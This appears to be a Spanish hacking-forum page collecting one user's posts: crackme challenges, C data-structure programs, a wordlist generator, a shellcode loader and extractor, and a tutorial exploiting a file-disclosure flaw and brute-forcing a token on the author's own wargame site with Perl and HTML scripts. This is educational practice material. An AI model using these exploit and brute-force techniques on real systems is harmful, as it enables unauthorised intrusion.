Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - mr.blood

#1
Ingeniería Inversa / [KeygenMe] Matrix
Marzo 24, 2015, 02:48:04 PM
Aquí os dejo un KeygenMe, espero que os guste. Está programado en C++ no sé que nivel de dificultad decir que tiene, para crackearlo será nivel 0, pero el reto es hacer un keygen :).

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

SaluDoS
#2
Ingeniería Inversa / [InyectMe] Edge
Junio 16, 2013, 03:10:08 PM
Hoy les dejo un InyectMe muy sencillito, para que los nuevos practiquen un poco ;).

Deben cambiar el "Cambiame" del MessageBox por su nick, así de sencillo. Cuando lo consigan me envían un MP con una captura y les agrego al Hall Of Fame.

[Edge] InyectMe.rar (486 B)
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Sa1uDoS
#3
Códigos Fuentes / [C] Agenda con listas enlazadas
Junio 11, 2013, 03:14:13 AM
EDITO: Sorry, Google me trolleó este código no es mío es de myguestp lo confundí con uno mío muy parecido. Todos los créditos a él.




Traigo este código como un pequeño ejemplo de listas enlazadas. Lo hice hace ya un par de años así que seguramente no lo volvería a hacer igual :P.

Código: c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define ID_NAME 60
#define ID_APELLIDO1 61
#define ID_APELLIDO2 62
#define ID_TELEFONO 63


typedef struct lista
{
    char nombre[10], apellido1[10], apellido2[10], telefono[10];
    struct lista *siguiente;
}lista;

lista *primero=NULL, *ultimo=NULL;

void cls();
void pause();
void delnewline(char *array);
void additem();
void recorrer();
bool finditem(char *word, int flag);

int main()
{
    int opc, id;
    char word[10], op[10];
    lista *aux;
   
    while(opc!=4)
    {
        printf("Indica que hacer:\n\n 1.Introducir contacto\n 2.Recorrer agenda\n 3.Buscar contacto\n 4.Salir\n\n");
        scanf("%i", &opc);
        cls();
        switch(opc)
        {
            case 1:
                additem();
            break;
            case 2:
                recorrer();
                pause();
            break;
            case 3:
                printf("Indica por que criterio buscar(nombre, apellido1, apellido2 o telefono): ");
                scanf("%s", op);
                delnewline(op);
                if(strcmp(op, "nombre")==0) id=ID_NAME;
                else if(strcmp(op, "apellido1")==0) id=ID_APELLIDO1;
                else if(strcmp(op, "apellido2")==0) id=ID_APELLIDO2;
                else if(strcmp(op, "telefono")==0) id=ID_TELEFONO;
                else break;
                cls();
                printf("Indica la palabra a buscar:\n\n");
                scanf("%s", word);
                cls();
                finditem(word, id);
                pause();
            break;
            case 4:
            break;
            default:
                printf("Elije una opcion correcta");
            break;
        }
        cls();
    }
    aux=primero;
    while(aux!=NULL)
    {
        free(aux);
        aux=aux->siguiente;
    }
    return 0;
}

void cls()
{
    #ifndef WIN32
     system("clear");
    #else
     system("cls");
    #endif
}

void pause()
{
    setbuf(stdin, NULL);
    getchar();
}
void delnewline(char *array)
{
    while(*array!='\0')
    {
        if(*array=='\n')
        {
            *array='\0';
        }
        array++;
    }
}

void additem()
{
    lista *nuevo;
    nuevo=(lista*)malloc(sizeof(lista));
    printf("Introduce el nombre completo(ejemplo: Miguel Ruiz Cruz):\n\n");
    scanf("%s %s %s", nuevo->nombre, nuevo->apellido1, nuevo->apellido2);
    printf("\nIntroduce ahora el numero de telefono(9 cifras): ");
    scanf("%s", nuevo->telefono);
    cls();
    delnewline(nuevo->nombre);
    delnewline(nuevo->apellido1);
    delnewline(nuevo->apellido2);
    delnewline(nuevo->telefono);
    if(primero==NULL)
    {
        primero=(lista*)malloc(sizeof(lista));
        ultimo=(lista*)malloc(sizeof(lista));
        if(!primero || !ultimo)
        {
            printf("No se pudo reservar memoria para el item");
            return;
        }
        primero=nuevo;
        primero->siguiente=ultimo;
        ultimo=nuevo;
        ultimo->siguiente=NULL;
        return;
    }
    ultimo->siguiente=nuevo;
    ultimo=nuevo;
    ultimo->siguiente=NULL;
    return;
}

void recorrer()
{
    lista *aux;
    aux=primero;
    if(aux==NULL)
    {
        printf("Lista vacia");
        return;
    }
    while(aux!=NULL)
    {
        printf("Nombre: %s %s %s  Telefono: %s\n\n", aux->nombre, aux->apellido1, aux->apellido2, aux->telefono);
        aux=aux->siguiente;
    }
    return;
}

bool finditem(char *word, int flag)
{
    lista *aux;
    int cont=0;
    aux=primero;
    if(aux==NULL)
    {
        return false;
    }
    if(flag==ID_NAME)
    {
        while(aux!=NULL)
        {
            if(strcmp(aux->nombre, word)==0)
            {
                printf("Nombre: %s %s %s Telefono: %s\n", aux->nombre, aux->apellido1, aux->apellido2, aux->telefono);
                cont++;
            }
            aux=aux->siguiente;
        }
    }
    else if(flag==ID_APELLIDO1)
    {
        while(aux!=NULL)
        {
            if(strcmp(aux->apellido1, word)==0)
            {
                printf("Nombre: %s %s %s Telefono: %s\n", aux->nombre, aux->apellido1, aux->apellido2, aux->telefono);
                cont++;
            }
            aux=aux->siguiente;
        }
    }
    else if(flag==ID_APELLIDO2)
    {
        while(aux!=NULL)
        {
            if(strcmp(aux->apellido2, word)==0)
            {
                printf("Nombre: %s %s %s Telefono: %s\n", aux->nombre, aux->apellido1, aux->apellido2, aux->telefono);
                cont++;
            }
            aux=aux->siguiente;
        }
    }
    else if(flag==ID_TELEFONO)
    {
        while(aux!=NULL)
        {
            if(strcmp(aux->telefono, word)==0)
            {
                printf("Nombre: %s %s %s Telefono: %s\n", aux->nombre, aux->apellido1, aux->apellido2, aux->telefono);
                cont++;
            }
            aux=aux->siguiente;
        }
    }
    if(cont==0)
    {
        printf("No se encontraron resultados");
        return false;
    }
    printf("\nSe encontraron %i resultados", cont);
    return true;
}


Sa1uDoS
#4
NOTA IMPORTANTE: ESTADO DEL SERVIDOR AHORA: OFFLINE

Bueno, hoy sabado, sin ganas de seguir intentando el reto 4 de seth. Comienzo a escribir este "tutorial" sobre que pasos dar para hacer un exploit tras descubrir una vulnerabilidad.

Agradezcan el tutorial a The-XC3LL.

Bien, este tutorial sera "interactivo", osea que para entenderlo mejor, seria bueno que antes de leer como se hace, intenteis hacerlo.

Sin mas que decir, EMPEZAMOS!!




Si no sabes que es un EXPLOIT, empieza a leerte las FAQ de la seccion Bug's y Exploit's ;).

Bien, lo primero es abrir la Web vulnerable, en este caso es No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

La metodologia que yo sigo es mirar el codigo fuente y despues ver las cabeceras con HTTP Live Headers, o Tamper Data.

Si no vemos nada extraño, empecemos a probar cosas.

Por ejemplo, pulsemos sobre View File 1. Nos dice Dale.
Si damos clic sobre View File 2, nos dice Vamonos!.
Y si damos clic sobre View File 3, ¿qué nos dirá?... Pues nos dice xD.

Bien, veamos como funciona este PHP internamente, cambiemos todos los parametros por un 4. Quedaria No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Mmm, que interesante, ahora nos dice Archivo no encontrado. Osea que esos parametros se refieren a archivos del servidor... Interesante.

Veamos si tengo razón, cambiemos todos los parametros por index.php. ¡DIOS MIO! Que webmaster tan descuidado, podemos ver el contenido de index.php.

Fijemonos en esta parte:

Código: php

$array[] = 10;
$array[] = rand($array[0], 100);
$array[] = sha1(sha1($array[0]) . implode($array));
$array[0] = $array[sizeof($array)-1];

if ( isset($_POST[$array[1]]) && ($_POST[$array[1]] == $array[0]) )
{
if( isset($_GET[3]) )
{
echo "Reto superado!";
exit;
}
}


Para quienes no sepan PHP, les recomiendo que lo aprendan, es un gran lenguaje, muy util para todo, y muy necesario para el Hacking, pero bueno, explico un poco el codigo.

$array[] es una matriz, que empieza con el valor 10. Osea, que de momento como no tiene mas elementos el esquema quedaria $array=([0]=>0);. ([0] es el indice, en este caso se refiere al primer elemento)

Bien, ahora $array[]=rand($array[0],100); Con $array[]= le decimos que guarde el valor en otro elemento del array, como el siguiente libre es 1, pues lo guarda en $array[1]. ¿Y qué guarda?, pues un numero aleatorio entre $array[0] (10) y 100.

Siguiente linea, $array[] = sha1(sha1($array[0]) . implode($array));. Aqui guardamos en $array[2] el valor de codificar en sha1 $array[0] (10) concatenado con implode($array). Concatenar significa unir, ejemplo "1"."1" seria "11" ;). implode($array) une todos los elementos de $array. En este caso son: $array=([0]=>10;[1]=>rand(10,100);).
Pongo el rand, porque nosotros no conocemos que valor es. Entonces quedaria sha1("10").rand(10,100). Bien, despues de eso asigna a $array[2] la codificacion sha1 de sha1("10")."10".rand(10,100).

Lo siguiente, es asignar a $array[0] el valor de $array[sizeof($array)-1], o lo que es lo mismo, $array[2].

Ese if comprueba si pasamos por el metodo POST el argumento $array[1] y si es igual a $array[0], si todo esta bien, muestra el mensaje de que lo superamos.

Bien, ahora que sabemos que hace el codigo, analicemos el problema que se nos presenta.

Tenemos que pasar por el metodo POST $array[0] que es la codificacion en sha1 de sha1("10"), y el "10".rand(10,100); El problema es que nosotros no podemos controlar que numero aleatorio genera el php...

Uhmm dificil problema ¿no?. ¿Qué solucion se os ocurre? Despues de un rato pensando, se me ocurre algo. ¿Qué tal si enviamos todas las posibilidades de codificar en sha1 sha1("10") con cada numero del 10 al 100?, asi acertamos seguro ¿no?. Porque no, probemos.

¿Cual seria la forma mas facil de hacer esto?... Uhmmm la forma mas sencilla seria con HTML, pero yo os mostrare como hacerlo con Perl tambien ;).

Vale, lo 1º que tenemos que hacer, aprender Perl si no lo hemos aprendido ya ;).

Lo 2º, pongamos musica, abramos nuestro IDE favorito, y empecemos a codear ;).

Comenzamos:

Bueno, ya sabemos que problema hay y como resolverlo, nos queda programar un script que lo haga por nosotros, porque hacerlo a mano es demasiado largo.

Vale, lo primero es saber usar Sockets. Son muy simples en Perl ;).
Lo 2º, miramos la Documentacion de Perl, para ver como codificar en SHA1, una vez lo tengamos, ya  podremos hacer el exploit.

Ahh, casi lo olvido, parte fundamental del exploit, SABER ALGO DEL PROTOCOLO HTTP.
Porque, aunque podemos usar librerias como LWP que nos hagan el trabajo sucio a mano, prefiero enviar la cabecera a mano :P.

En fin, hasta aqui lo que os he podido enseñar... El resto del trabajo que tendreis que hacer por vuestra cuenta sera aprender algo de Perl y de HTTP hasta que entendais el Exploit, aun asi dejo el codigo bien comentado ;).

Código: perl

#!/usr/bin/perl

#~ Ejemplo para el tutorial sobre la metodologia de como crear un exploit
#~ Codeado por mr.blood

#~ Incluimos librerias
use IO::Socket::INET;
use Digest::SHA;


#~ Creamos el objeto $SHA1 para poder encriptar con este hash
$SHA1 = Digest::SHA->new(1);

#~ Como el .php usa una cadena constante (10), la encripto primero para no perder tiempo en cada ciclo
$SHA1->add("10");
$const=$SHA1->hexdigest();

#~ Declaro hash donde metermos todo el contenido de los numeros / hash que vamos a enviar
$hash="";

#~ Bucle for desde 10 hasta 100
for($i=10;$i<=100;$i++)
{
        #~ Encriptamos en SHA1 el "10" encriptado en SHA1 antes y un "10" mas la variable contador
        $SHA1->add($const."10".$i);

        #~ Peticion = peticion + variable contador + "="+hash+"&"
        $hash.="$i=".$SHA1->hexdigest()."&";
}

#~ Quitamos el ultimo &
$hash=substr($hash,0,-1);

#~ Empezamos a configurar la cabecera
$peticion="POST /wargame/1/index.php?3=a HTTP/1.0\r\nHOST:mr-blood.com\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:".length($hash)."\r\n\r\n";

#~ Adjuntamos el contenido de hash / numero
$peticion.=$hash;

#~ Indicamos el fin de la cabecera
$peticion.="\r\n";

#~ Conectamos al servidor
$sock=IO::Socket::INET->new(PeerAddr=>"mr-blood.com",PeerPort=>"80", Proto=>"tcp");

#~ Enviamos al servidor
print $sock $peticion;
print <$sock>;


Con HTML seria

Código: html4strict

<HTML>
<BODY>
<FORM method="post" action="http://www.mr-blood.com/wargame/1/index.php?3=a" name="formu">
<INPUT type='hidden' name='10' value='5241e22b10c7cd7b584a030a5a3e4d0ddcfad23a'>
<INPUT type='hidden' name='11' value='a03b139c54e9541788414ceac70f904b634973d8'>
<INPUT type='hidden' name='12' value='276bac22af85764d66b495d6468114051299b40c'>
<INPUT type='hidden' name='13' value='1399d4e7f4d90c0ac7048b449e3202220c93ab95'>
<INPUT type='hidden' name='14' value='94c53d8dc0796c3fcbaf79495daa3a5ada55f12a'>
<INPUT type='hidden' name='15' value='f1e02f447c4b6340a79670d6f8ceb7895d885cd3'>
<INPUT type='hidden' name='16' value='624c02af3c9a403868cccd6a3efcad7c965d03d3'>
<INPUT type='hidden' name='17' value='861ebd683457fd800680009340531583749562b5'>
<INPUT type='hidden' name='18' value='cbc8acda930ac6b9b285e2484c813486e5f1b8ca'>
<INPUT type='hidden' name='19' value='f40c52c5120557998959d1faae7238069ebf45da'>
<INPUT type='hidden' name='20' value='b037de6ef10d595faaf88e78612dd6341bc6d1af'>
<INPUT type='hidden' name='21' value='9d85b504abc477270194dde00cf743507ff91a76'>
<INPUT type='hidden' name='22' value='d587dd0b791261982692227a38442da3ac8fe22c'>
<INPUT type='hidden' name='23' value='ccd90168b04b2258bdcef494136fd27295b81075'>
<INPUT type='hidden' name='24' value='bd1435a6a8d0a54097563d5c9f35d00bbe466a75'>
<INPUT type='hidden' name='25' value='3944963b1ce5fcb70e5ce4a15d847851c0137d27'>
<INPUT type='hidden' name='26' value='8fb8a7a47da01ea7f55a0efe05907593fc1888c6'>
<INPUT type='hidden' name='27' value='21d2b25ca48cbc4149cf970f092a32abbae4fb88'>
<INPUT type='hidden' name='28' value='684ca122505c3a614dcffac27ca6109d2b18f33d'>
<INPUT type='hidden' name='29' value='ef07592a5c58f839bb76dd823dfdd7c43729f07e'>
<INPUT type='hidden' name='30' value='582e8f8bdb9840d3bec5a0906828708fc460da7b'>
<INPUT type='hidden' name='31' value='d0c7e7f1e639cac7febe9596c04fa3efac60a7b4'>
<INPUT type='hidden' name='32' value='1e5d2683077207581ab03bec2df884ac2d013ee9'>
<INPUT type='hidden' name='33' value='ab3a2c8ef86dd9929e9dd3c99694b894ab31da6c'>
<INPUT type='hidden' name='34' value='ef1e23dfbe669661aee93552a0a188a123b72135'>
<INPUT type='hidden' name='35' value='a4eb2958fd3c9e4b876b8871dfebb61d47b321d6'>
<INPUT type='hidden' name='36' value='efae44c695604c7c50d448da65cc8b6f9b769676'>
<INPUT type='hidden' name='37' value='7f027cfe4cfa2f3900b611b71270a95fd380bf63'>
<INPUT type='hidden' name='38' value='346833f76fc8c9a698b9163a7eb433df52a3791e'>
<INPUT type='hidden' name='39' value='10d6ff05ee932812c77205414866f45f6b12d12d'>
<INPUT type='hidden' name='40' value='708dfcbd367fdb5ab8ee51c7dfdc82dc1f8f86f1'>
<INPUT type='hidden' name='41' value='612ff66a43c6a449358a21160322a8c704a19c02'>
<INPUT type='hidden' name='42' value='4e96645109fd6b55dca3c064d508b6c4ddfd2bf7'>
<INPUT type='hidden' name='43' value='e94f6987841f932c015ae223f15ded8b39a91922'>
<INPUT type='hidden' name='44' value='c683ce8c5e271ee8f9bbdf28a22578e799bd32c2'>
<INPUT type='hidden' name='45' value='6d8e98545d29b25ce411a33d56c6efb2cd11ac20'>
<INPUT type='hidden' name='46' value='5b8863b1e3abefe108b688ef5673884a76129fbe'>
<INPUT type='hidden' name='47' value='51a110ac8dfe72bf1ad7bfb18b358763cd0f3849'>
<INPUT type='hidden' name='48' value='68d609687a986f59ffdbf6bbc52e301cc07bae63'>
<INPUT type='hidden' name='49' value='b838c1c42b8b6018610da84d102b78198169c9bc'>
<INPUT type='hidden' name='50' value='eea2a4256e116005b68717415536df704292921b'>
<INPUT type='hidden' name='51' value='a578bcc12c48f9069057b742532e943388c49cd9'>
<INPUT type='hidden' name='52' value='518ab6481006cf7233403ba078d2fd7460c5b42f'>
<INPUT type='hidden' name='53' value='394006d762d0d0df62c9900b3b012bc84093b347'>
<INPUT type='hidden' name='54' value='6c7b051e5079c9186bcc0d87e42b33122e35e55e'>
<INPUT type='hidden' name='55' value='7bf0aaf948b3ccc2f64d74413f3b742e87833a64'>
<INPUT type='hidden' name='56' value='f014f26b96f5e9095a6f36d48a78ae6d852436d8'>
<INPUT type='hidden' name='57' value='5654b0dcbfd85010df6a8780263b87b77cc7ae50'>
<INPUT type='hidden' name='58' value='a727d0c5aaf97e9c7425a5b90221360b4b1ac7bc'>
<INPUT type='hidden' name='59' value='571aef913d9a84f6789550709057e996e93cb2ef'>
<INPUT type='hidden' name='60' value='93f815b36507f09430906534293e1c835db0962f'>
<INPUT type='hidden' name='61' value='eb69afbcd4daaf8d8475fc4490f368f8ff4f81dd'>
<INPUT type='hidden' name='62' value='f91cb26b7b06be1fbd192ce8835afd7f99cb0004'>
<INPUT type='hidden' name='63' value='8dc6e9ab876a4b49d8df8af63a702b86d4038355'>
<INPUT type='hidden' name='64' value='c86e8c1d0dc6e477fa05b23b24a955d43f5a7bda'>
<INPUT type='hidden' name='65' value='f541e56d2e976408a8c83175900e14b6a646dc68'>
<INPUT type='hidden' name='66' value='02356f5b3a1d41f3c74bf4a2aab1d4ec28717124'>
<INPUT type='hidden' name='67' value='fcedf7873e897cf3256997a151a43b48e8f70de0'>
<INPUT type='hidden' name='68' value='a7316620be9ff4d86aff4dc6cb67c1f137a3a7a8'>
<INPUT type='hidden' name='69' value='cbe1f15d3f0eed42f459c7a0e39879e1be31c42a'>
<INPUT type='hidden' name='70' value='700fbee3d8b49ae6b77d46a1e32ff62d2496d3d9'>
<INPUT type='hidden' name='71' value='25bd1b5387eb4f9ee14cc092db1f4bb02b4189bc'>
<INPUT type='hidden' name='72' value='31ae34500917043543eb77f8e073bdbdbf09b9b3'>
<INPUT type='hidden' name='73' value='3b3d9ec0697f9d38d600d3991bac14bd0e9b9f1b'>
<INPUT type='hidden' name='74' value='341fe7d22415e323ff9f3ed937a78ba4dbbb2dc6'>
<INPUT type='hidden' name='75' value='b5b0f6f15965d8b46e9fddfad1345f94d99c50f9'>
<INPUT type='hidden' name='76' value='494472f443d02b3861a68c0faf64d1bb5bec1ec4'>
<INPUT type='hidden' name='77' value='bb4dac71f2922fb7b1a9007b1afbb8512c31ab0e'>
<INPUT type='hidden' name='78' value='abada3f9954a296c36d63e3b244b4cefc0933b8b'>
<INPUT type='hidden' name='79' value='85fe446b1927b113ccb3e5bccbe7b96d997cbd22'>
<INPUT type='hidden' name='80' value='58e14b5ec5b359540fcffa4ca33fce03c075fcc8'>
<INPUT type='hidden' name='81' value='2fe0c6c2d42652273e05913afa2561bc027f83ff'>
<INPUT type='hidden' name='82' value='f28eede207a9a97db0e7b9df7e8cbd059def0cdc'>
<INPUT type='hidden' name='83' value='8afaccb11991b5711feb99d9143d0223c7ae93b3'>
<INPUT type='hidden' name='84' value='67f833ae248d355ad1d79750a57b69855f015a32'>
<INPUT type='hidden' name='85' value='9bad193754f4b994882c74cd3acdb5260649f12b'>
<INPUT type='hidden' name='86' value='4164ce6a05f701126fab11be1b4ee7986468d224'>
<INPUT type='hidden' name='87' value='bb361f62a3284086679450214220582d8fb37013'>
<INPUT type='hidden' name='88' value='824254fc09609e325d4db5b1c4303c3e6af33db2'>
<INPUT type='hidden' name='89' value='1738ee9204393bc3add64ee5555672a32bd7edef'>
<INPUT type='hidden' name='90' value='2d54565b0e5120022a11bb20546e894b33bf4e71'>
<INPUT type='hidden' name='91' value='440e9a8f03795242eb531d122fe543cd9623e8ce'>
<INPUT type='hidden' name='92' value='b8d92b83bb01edff516abff2f8c73afd3d67542e'>
<INPUT type='hidden' name='93' value='bc0d88afd61fb8b44ab9d87bbd872f7589b3ea9d'>
<INPUT type='hidden' name='94' value='099e8a02963269720a23f1249f696375796e9d35'>
<INPUT type='hidden' name='95' value='123d8b03c2db644a6164d3a25b17502a588021b9'>
<INPUT type='hidden' name='96' value='3a3ed348dac5c8ca1383cf3dda9a9550d35619cc'>
<INPUT type='hidden' name='97' value='de63ed4b7e7f1ed0de5c759147153704f3088809'>
<INPUT type='hidden' name='98' value='73073ba058a0f6b797b7659a613a0708e061a732'>
<INPUT type='hidden' name='99' value='53ac83b3eacbc6c3a66441b01ad9f169163c6f7e'>
<INPUT type='hidden' name='100' value='2990a2405123c054263407f7fe4c498236ea15ea'>
<INPUT type='submit' value='Exploit it'>
</FORM>
</BODY>
</HTML>


Espero que os sirva y que tengais algo mas de documentacion de la que yo tuve cuando empecé ;).

Os pido por favor, que no me hagais el tonto con el hosting, osea no envieis miles de peticiones, o tendre que cerrar la zona de practicas, lo que seria una pena ;). Con una o dos es mas que suficiente para ver que funciona ;).

Informaciones de interes:
   · El paper No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Si algo no queda claro, hay algun fallo, o cometi alguna falta ortografica grave, hacedmelo saber ;)

Y si teneis sugerencias para mejorarlo, tambien comentad, en fin, comentad y decid que os parece ;).

Sa1uDoS

P.D.: Si quieres postear el tutorial en otro lugar, no olvides mencionar el autor por favor, que hacer estas cosas lleva su tiempo.
#5
C / C++ / [RETO] Animaos!
Mayo 26, 2013, 12:06:50 PM
Pensando en animar un poco esta sección propongo un reto en el que podrán participar TODOS LOS QUE SEPAN C o C++.

Imaginen que tengo una matriz de 3x3 y necesito rellenarla de números enteros positivos comprendidos entre 0 y 3*3-1. Los números deben estar dispersos por la matriz, colocados de forma aleatoria. En la matriz no puede repetirse ningún número.

La matriz realmente será de 1000x1000. El que tenga el tiempo de ejecución más bajo GANA, simple no?

Los códigos por MP para no dar ideas. Aquí las preguntas.

Yo no participo, pero tengo mi código que mostraré cuando este reto acabe. También postearé los 3 códigos más rápidos ;).

FECHA LÍMITE: Viernes 31 de mayo de 2013.

Reglas

  • Cada código será ejecutado 3 veces y se hará la media entre los tiempos.
  • Los números deben estar colocados de modo aleatorio.
  • No puede repetirse un número en la matriz.
  • Los lenguajes aceptados son C y C++, no es válido combinarlos con ASM de ningún modo.
  • Los códigos deben ser multiplataforma. (IMPORTANTE)




EDITO:

Debéis usar dos #define por todo el código para que cambiando los valores de estos pueda crear matrices de 3x3 o 4x4 para poder corregir más rápido, por favor, hacedlo así.

También debéis poner un for que recorra y muestre la matriz, cuando tome los tiempos comentaré y compilaré esa parte, así que tranquilos.

Suerte a tod@s!

Sa1uDoS
#6
Códigos Fuentes / [C] Gestor de notas
Mayo 20, 2013, 01:18:43 PM
Un programa para organizar alumnos y notas utilizando listas enlazadas.

Código: c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

struct alumnos
{
struct alumnos *last;
char nombre[15];
int nota;
};

struct alumnos *actual;

void nuevo_alumno(char *nombre, int nota)
{
struct alumnos *nuevo;
nuevo=(struct alumnos *)malloc(sizeof(struct alumnos));
strcpy(nuevo->nombre, nombre);
nuevo->nota=nota;

if(actual==NULL)
{
actual=nuevo;
}
else
{
nuevo->last=actual;
actual=nuevo;
}
}

void mostrar_lista()
{
struct alumnos *consulta;
for(consulta=actual;consulta->last!=NULL;consulta=consulta->last)
{
printf("\n%s --- %i", consulta->nombre, consulta->nota);
}
printf("\n%s --- %i", consulta->nombre, consulta->nota);
}

void borrar_lista()
{
struct alumnos *consulta;
struct alumnos *buffer;
consulta=actual;
while(consulta->last!=NULL)
{
buffer=consulta->last;
free(consulta);
consulta=buffer;
}
}

void guardar_lista()
{
FILE *archivo=fopen("archivo", "w");
struct alumnos *consulta;
for(consulta=actual;consulta->last!=NULL;consulta=consulta->last)
{
fprintf(archivo, "%s %i\n", consulta->nombre, consulta->nota);
}
fprintf(archivo, "%s %i\n", consulta->nombre, consulta->nota);
fclose(archivo);
}

void cargar_lista()
{
FILE *archivo=fopen("archivo", "r");
struct alumnos consulta;
fscanf(archivo, "%s %i", consulta.nombre, &consulta.nota);
while(!feof(archivo))
{
nuevo_alumno(consulta.nombre, consulta.nota);
fscanf(archivo, "%s %i", consulta.nombre, &consulta.nota);
}
fclose(archivo);
}

void borrar_alumno(char *nombre)
{
struct alumnos *consulta, *buffer;
buffer=actual;
for(consulta=actual;consulta->last!=NULL;consulta=consulta->last)
{
if(strcmp(consulta->nombre, nombre))
{
buffer=consulta;
}
else
{
buffer->last=consulta->last;
free(consulta);
return;
}
}

buffer->last=NULL;
free(consulta);

}
int buscar_alumno(char *nombre)
{
struct alumnos *consulta;
for(consulta=actual;consulta->last!=NULL;consulta=consulta->last)
{
if(!strcmp(consulta->nombre, nombre))
{
return consulta->nota;
}
}
if(!strcmp(consulta->nombre, nombre))
{
return consulta->nota;
}
return -1;
}

int main()
{
//~ char nombre[15];
//~ int nota;
//~ while((getchar())!=' ')
//~ {
//~ printf("Introduzca nombre y nota: ");
//~ scanf("%s %i", nombre, &nota);
//~ setbuffer(stdin, 0, 0);
//~ nuevo_alumno(nombre, nota);
//~ mostrar_lista();
//~ }
//~ guardar_lista();
//~ borrar_lista();

cargar_lista();
mostrar_lista();
borrar_alumno("Aurelio");
printf("%i", buscar_alumno("Irene"));
borrar_lista();

return 0;
}


Sa1uDoS
#7
Bueno, sin mas, un codigo como el anterior pero un poco mas complejo ;).

Metodo de uso
Código: php
 dic [longitud del diccionario] (opcional)[caracteres del diccionario]


Si no se especifica el 2º parametro, se utilizaran los que vienen por defecto osea, "abcdefghijklmnopqrstuvwxyz".

Sin mas explicacion, el codigo.

Código: c
#include <stdio.h>

#include <stdlib.h>

#include <string.h>



int main(int argc, char *argv[])

{ if(argc < 2 || !strcmp(argv[1], "-h")) //Texto de ayuda

{

puts("HELP: \nsintax: dic [len_dic] (optional)[list]");

return 1;

}



int len=0, cont=atoi(argv[1]), *cad, i, ver=1; //Declaracion

cad=(int *)malloc(sizeof(int) * atoi(argv[1])); //Reserva de memoria para un array int

memset((int *)cad,0,sizeof(int) * atoi(argv[1]));//Inicializamos el array a 0

char *lst;//Declaracion de la lista que contendra las posibilidades



if(argc < 3) //Comprobamos el numero de parametros introducidos para hacer una cosa u otra

{

lst=(char *)malloc(strlen("abcdefghijklmnopqrstuvwxyz")+1);

strcpy(lst, "abcdefghijklmnopqrstuvwxyz");

}

else if(argc == 3)

{



lst=(char *)malloc(strlen(argv[2])+1);

if(!lst)

{

puts("No se pudo reservar la memoria");

return 1;

}

strcpy(lst, argv[2]);

}



while(len+1<=cont)//Comienza el ciclo de generacion

{

if(lst[cad[0]]!='\0')

{

for(i=0;i<=len;i++)

{

putchar(lst[cad[i]]);

}

putchar('\n');

}

if(lst[cad[0]]!='\0')

{

cad[0]++;

}

else

{

            ver=0;

for(i=0;i<=len;i++)

{

if(lst[cad[i]]=='\0')

{

cad[i]=0;

cad[i+1]++;

}

else

{

ver=1;

}

}

}

if(ver==0)

{

len++;

for(i=0;i<=len;i++)

{

cad[i]=0;

}

ver=1;

}

}

free(lst);

free(cad);

return 0;

}


Sa1uDoS

P.D.: Mejorado para Luxur, el SO de Taul.
#8
Códigos Fuentes / [C] Prueba shellcodes
Mayo 15, 2013, 04:01:36 PM
Bueno, el titulo lo dice casi todo. Solo me queda decir que se usa de este modo:
Código: php
./shell_prueba shellcode
. Donde shellcode seria el fichero que nos devuelve el compilador de asm en binario ;).

Sin mas, el codigo es muy simple... solo carga los bytes en memoria y utiliza el buffer para ejecutar el codigo como si fuera una funcion. Si estais en ubuntu compilad con -z execstack para que no os de problemas.

Código: c
#include <malloc.h>
#include <stdio.h>

int longitud(FILE *archivo);

int main(int argc, char *argv[])
{
if(argc < 2)
{
puts("Necesita un parametro");
return 1;
}
int longi, i;
char *shellcode;
FILE *archivo=fopen(argv[1], "rb");
longi=longitud(archivo);
shellcode=(char *)malloc(longi);
for(i=0;i<longi;i++)
{
shellcode[i]=getc(archivo);
}
fclose(archivo);
((void(*)())shellcode)();
free(shellcode);
return 0;
}

int longitud(FILE *archivo)
{
int longi;
fseek(archivo, 0, SEEK_END);
longi=ftell(archivo);
fseek(archivo, 0, SEEK_SET);
return longi;
}


Sa1uDoS
#9
Códigos Fuentes / [C] Extrae shellcodes
Mayo 15, 2013, 04:00:37 PM
Este codigo es muy simple. Es un programa que lee el fichero donde se encuentra nuestra shellcode en binario y lo muestra con el \x delante, listo para copiar  y pegar en nuestro programa de C.

Código: c
#include <stdio.h>

int longitud(FILE *archivo);

int main(int argc, char *argv[])
{
int longi,i;
if(argc < 2)
{
puts("Necesita un parametro");
return 1;
}
FILE *archivo=fopen(argv[1], "rb");
longi=longitud(archivo);
printf("char shellcode[]=\"");
for(i=0;i<longi;i++)
{
printf("\\x%x", getc(archivo));
}
printf("\";\n");
fclose(archivo);
return 0;
}

int longitud(FILE *archivo)
{
int longi;
fseek(archivo, 0, SEEK_END);
longi=ftell(archivo);
fseek(archivo, 0, SEEK_SET);
return longi;
}


Sa1uDoS
#10
Códigos Fuentes / [C] Interprete de Brainfuck
Mayo 15, 2013, 04:00:05 PM
Bueno, en un largo rato de aburrimiento he creado un interprete de Brainfuck. No se porque, pero me esta gustando este "lenguaje".

Código: c
#include <stdio.h>

#define MAX 100

int array[MAX]={0}, i=0;
FILE *archivo;

void interprete(int instruccion);

int main(int argc, char *argv[])
{
int instruccion;
if(argc < 1)
{
return 1;
}
archivo=fopen(argv[1], "r");
while((instruccion=getc(archivo))!=EOF)
{
interprete(instruccion);
}
fclose(archivo);
putchar('\n');
return 0;
}

void interprete(int instruccion)
{
int pos, inst_bucle;
switch(instruccion)
{
case '.':
putchar(array[i]);
break;
case ',':
array[i]=getchar();
break;
case '>':
i++;
break;
case '<':
i--;
break;
case '+':
array[i]++;
break;
case '-':
array[i]--;
break;
case '[':
pos=ftell(archivo);
while(array[i]!=0)
{
fseek(archivo, pos, SEEK_SET);
inst_bucle=getc(archivo);
while(inst_bucle !=']' && inst_bucle != EOF)
{
interprete(inst_bucle);
inst_bucle=getc(archivo);
}
}
}
}


Sa1uDoS
#11
Perl / [Perl] Desofuscador de Batchs
Mayo 15, 2013, 03:58:54 PM
